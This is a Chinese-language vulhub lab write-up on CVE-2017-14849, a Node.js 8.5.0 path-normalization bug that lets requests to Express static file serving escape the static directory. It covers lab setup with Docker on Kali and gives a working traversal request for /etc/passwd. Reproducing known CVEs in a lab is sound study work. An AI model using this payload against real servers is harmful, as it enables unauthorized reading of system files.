Node.js-目录穿越（CVE-2017-14849）

漏洞描述

​ Node.js 8.5.0 对⽬录进⾏normalize操作时出现了逻辑错误，导致向上层跳跃的时候（如…/…/…/…/…/…/etc/passwd），在
中间位置增加foo/…/（如…/…/…/foo/…/…/…/…/etc/passwd），即可使normalize返回/etc/passwd，但实际上正确结果应该
是…/…/…/…/…/…/etc/passwd。
​ express这类web框架，通常会提供了静态⽂件服务器的功能，这些功能依赖于 normalize函数。⽐如，express在判断path是否超出静态
⽬录范围时，就⽤到了normalize函数，上述BUG导致normalize函数返回错误结果导致绕过了检查，造成任意⽂件读取漏洞。

受影响版本：

​ Node.js 8.5.0 + Express 3.19.0-3.21.2
​ Node.js 8.5.0 + Express 4.11.0-4.15.5

kali 环境配置

安装https协议、CA证书、dirmngr

apt-get update

apt-get install -y apt-transport-https ca-certificates

apt-get install dirmngr

添加GPG密钥并添加更新源

curl -fsSL https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian/gpg | sudo apt-key add -

echo ‘deb https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian/ buster stable’ | sudo tee /etc/apt/sources.list.d/docker.list

系统更新以及安装docker

apt-get update&&apt install docker-ce

启动docker服务器 和compose

service docker start || apt install docker-compose

下载安装vulhub

git clone https://github.com/vulhub/vulhub.git

漏洞复现

启动环境/vulhub-master/node/CVE-2017-14849]

docker-compose up -d

初始化完成后 访问 ip：端口号，进行抓包

修改GET 请求

GET /static/../../../a/../../../../etc/passwd HTTP/1.1
Host: 192.168.2.130:3000
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
If-None-Match: W/"1f8-A9naZm3yu+VHL0CdBLtDGuvxxYs"
Connection: close

参考链接

https://blog.csdn.net/gaomei2009/article/details/125910094

681986197)]

参考链接

https://blog.csdn.net/gaomei2009/article/details/125910094

https://security.tencent.com/index.php/blog/msg/121